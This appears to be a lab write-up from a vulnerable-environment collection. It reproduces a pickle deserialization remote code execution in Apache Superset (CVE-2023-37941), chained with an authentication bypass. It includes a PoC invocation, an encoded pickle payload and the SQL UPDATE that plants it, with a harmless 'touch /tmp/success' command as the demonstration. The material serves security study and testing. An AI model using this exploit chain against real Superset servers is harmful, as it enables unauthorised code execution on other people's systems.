3.1 KiB
Apache Superset Python Pickle Deserialization Leads to RCE (CVE-2023-37941)
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
Apache Superset versions from 1.5 to 2.1.0 contain a Python Pickle deserialization vulnerability (CVE-2023-37941). The application uses Python's pickle
package to store certain configuration data in the metadata database. An authenticated user with write access to the metadata database can insert a malicious pickle payload, which when deserialized by the application, leads to remote code execution on the Superset server.
When combined with CVE-2023-27524, an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability.
References:
- https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/
- https://github.com/Barroqueiro/CVE-2023-37941
- https://forum.butian.net/share/2458
Environment Setup
Execute the following command to start an Apache Superset 2.0.1 server:
docker compose up -d
After the server is started, you can access Superset at http://your-ip:8088
. The default login credentials are admin/vulhub.
Vulnerability Reproduction
The following steps assume you have already generate a valid session cookie and logged into the Dashboard through the CVE-2023-27524 vulnerability.
First, create a new "Dashboard" and generate a permalink by clicking the "Share" button, copy this permalink and we will use it later:
Then, create a new "Database" connection by following the steps below:
- Navigate to "Data" → "Databases" in the Superset UI
- Click "+ Database" to add a new database connection
- Enter a name for the database (e.g., "SQLite")
- For the SQLAlchemy URI, use:
sqlite+pysqlite:////app/superset_home/superset.db
- Expand "Advanced" and check "Expose in SQL Lab" and "Allow DML"
- Save the database configuration
Then, use CVE-2023-37941.py to generate a malicious SQL command (the -d
option can be sqlite
, mysql
, or postgres
, means the database type of the Superset server, here is sqlite
in Vulhub):
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
[+] Base64 encoded payload:
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
[+] Hex encoded payload (for SQL):
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
Note
Because the
pickle
deserialization payload is different for different operating systems, you need to run the POC on Linux or MacOS.
Execute the generated SQL command in the SQL Lab:
Finally, trigger the deserialization by accessing the permalink:
As you can see, the touch /tmp/success
command has been executed successfully.